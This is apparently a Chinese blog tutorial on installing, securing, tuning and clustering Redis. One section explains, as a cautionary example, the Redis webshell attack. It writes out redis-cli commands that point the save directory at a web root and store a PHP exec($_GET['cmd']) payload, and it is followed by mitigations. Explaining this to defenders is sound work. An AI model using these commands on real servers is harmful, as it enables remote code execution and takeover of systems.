我的個人網站
安裝redis
- 安裝前的準備
yum install \ vim \ wget \ make \ gcc \ gcc-c++ \ automake \ autoconf \ -y \
- 下載下傳解壓并安裝
cd /root wget http://download.redis.io/releases/redis-4.0.8.tar.gz tar -zxzf redis-4.0.8.tar.gz cd redis-4.0.8 make PREFIX=/usr/local/redis/ install
- 建立配置中要求的資料檔案存儲位置
mkdir /data mkdir /data/redis mkdir /usr/local/redis/log
- 添加修改配置檔案 參考配置
cp ./redis.conf /usr/local/redis vim /usr/local/redis/redis.conf # IP綁定 bind 127.0.0.1 192.168.0.111 # 保護模式(開啟條件為各redis之間可以互相通信,做叢集不可開啟) protected-mode yes # 通路端口 port 6379 # 連接配接逾時,機關S,0為不啟用逾時 timeout 0 # 以守護程序運作 daemonize yes # 資料檔案路徑 dir /data/redis # 程序ID檔案的路徑 pidfile /usr/local/redis/log/redis.pid # 日志檔案路徑 logfile /usr/local/redis/log/redis.log # 開啟鍵過期删除通知 notify-keyspace-events Ex ESC :wq # 以下安全配置選項僅作參考 # 禁用部分危險指令 rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" # 添加通路密碼 requirepass ******** # IP綁定本機 bind 127.0.0.1
- 性能優化
# 編輯/etc/rc.local vim /etc/rc.local echo never > /sys/kernel/mm/transparent_hugepage/enabled ESC :wq # 添加/etc/rc.local執行權限 chmod +x /etc/rc.d/rc.local # 編輯/etc/sysctl.conf vim /etc/sysctl.conf vm.overcommit_memory = 1 net.core.somaxconn = 1024 ESC :wq # 立即解決 echo never > /sys/kernel/mm/transparent_hugepage/enabled echo 1024 > /proc/sys/net/core/somaxconn sysctl vm.overcommit_memory=1 sysctl -p
- 修改目錄歸屬
useradd -s /sbin/nologin -M redis chown -R redis:redis /data/redis chown -R redis:redis /usr/local/redis
- 啟動redis并設定開機啟動
# 進入單元檔案目錄 cd /etc/systemd/system # 建立redis單元檔案,格式為: [單元檔案名].[單元檔案類型] vim redis.service [Unit] Description=Start redis on boot. After=default.target network.target [Service] User=redis Group=redis Type=forking PIDFile=/usr/local/redis/log/redis.pid ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf ExecReload=/bin/kill -s HUP $MAINPID ExecStop=/bin/kill -s QUIT $MAINPID PrivateTmp=false Restart=always [Install] WantedBy=multi-user.target ESC :wq # 修改檔案權限為隻有root使用者可以編輯該檔案 chown -R root:root /etc/systemd/system/redis.service chmod -R 644 /etc/systemd/system/redis.service # 更新systemd systemctl daemon-reload systemctl enable redis systemctl start redis
- 存入資料
/usr/local/redis/bin/redis-cli -h 127.0.0.1 set num 123 save get num quit
- 批量删除比對規則資料
redis-cli keys [比對規則]|xargs redis-cli del
Redis當機 aof檔案損壞 啟動失敗
- 拷貝aof檔案
- 修複壞損的aof檔案
redis-check-aof --fix [aof檔案名]
- 重新啟動Redis
Redis漏洞webshell的利用
參考連結- Redis該漏洞用到的原理如下
-
redis原生支援通過'redis-cli>config set'在不重新開機redis服務的情況
下,動态修改配置dir、dbfilename;
-
redis的配置中如果指定'dir /www/'和'dbfilename test.php',則當執
行save指令時,會在/www/目錄下生成一個資料存儲檔案test.php,雖然該文
件是一個二進制檔案,但其内容中包含儲存的資料的值,如果/www/目錄為web
目錄,則/www/test.php則會被人利用,成為入侵你伺服器的入口;
-
- 漏洞舉例(這是一個負面教材)
- redis以超級管理者使用者root運作
- Nginx以超級管理者使用者root啟動,子程序也以root運作
- web伺服器為nginx,并做如下配置:
server { listen x; server_name xxx.xxx.com; root /www; location / { index index.php index.html index.htm; } location ~ \.php$ { fastcgi_index index.php; fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } }
- 通過redis-cli執行了以下指令
config set dir /www/ config set dbfilename test.php set test "<?php exec($_GET['cmd']); ?>" save
- 這時候可怕的事情出現了
- 在/www/目錄下,存在test.php檔案,它可以通過 http://xxx.xxx.com/test.php 通路到
- 如果現在通路 http://xxx.xxx.com/test.php?cmd=xxx, 那麼xxx就會被以root使用者執行(xxx為任意linux指令)
Redis漏洞webshell的防範
- 不要線上使用redis的web管理工具
- redis以低權限使用者運作(如rediser等讓人想不到的使用者名)
- redis僅允許通過本機和内網通路(bind 127.0.0.1 192.168.0.12/24)
- redis禁用config指令(在配置檔案中可以禁用rename-command CONFIG "")
- web服務子程序以低權限使用者運作(因為webshell的運作使用者為web服務的子程序)
redis叢集(cluster方式)
- 叢集前的配置(單機兩服務測試6379,6380)
# 内網IP:192.168.0.100
- 修改redis.conf
vim /usr/local/redis/redis.conf # 啟用cluster cluster-enabled yes # 調用cluster配置檔案 cluster-config-file nodes-6379.conf # 叢集逾時 cluster-node-timeout 15000 # 關閉當機全停 cluster-require-full-coverage no # 叢集從屬元素個數 cluster-slave-validity-factor 10 # 從機數最低遷移值(master至少有兩台slave,才能做slave遷移) cluster-migration-barrier 1 ESC :wq
- 配置檔案添加
yum install ruby gem install redis cp /usr/local/redis/redis.conf /usr/local/redis/redis.conf.backup cp /usr/local/redis/redis.conf /usr/local/redis/redis-6379.conf cp /usr/local/redis/redis.conf /usr/local/redis/redis-6380.conf mkdir /usr/local/redis/data/6379 mkdir /usr/local/redis/data/6380
- 修改redis-6379.conf
vim /usr/local/redis/redis-6379.conf unixsocket /usr/local/redis/data/6379/redis.sock pidfile /usr/local/redis/log/redis_6379.pid logfile /usr/local/redis/log/redis_6379.log dir /usr/local/redis/data/6379/ bind 192.168.0.100 port 6379 ESC :wq
- 修改redis-6380.conf
vim /usr/local/redis/redis-6380.conf unixsocket /usr/local/redis/data/6380/redis.sock pidfile /usr/local/redis/log/redis_6380.pid logfile "/usr/local/redis/log/redis_6380.log" dir /usr/local/redis/data/6380/ bind 192.168.0.100 port 6380 ESC :wq
- 修改開機啟動
vim /etc/rc.local /usr/local/redis/bin/redis-server /usr/local/redis/redis-6379.conf /usr/local/redis/bin/redis-server /usr/local/redis/redis-6380.conf ESC :wq
- 建立cluster
cd /root/redis/src/ # 檢視幫助 ./redis-trib.rb help # 添加綁定 ./redis-trib.rb create --replicas 1 192.168.0.100:6379 192.168.0.100:6380
- 叢集測試
/usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 -c
- 正常關閉(不要強制關閉)
/usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 shutdown
- 領支付寶紅包支援作者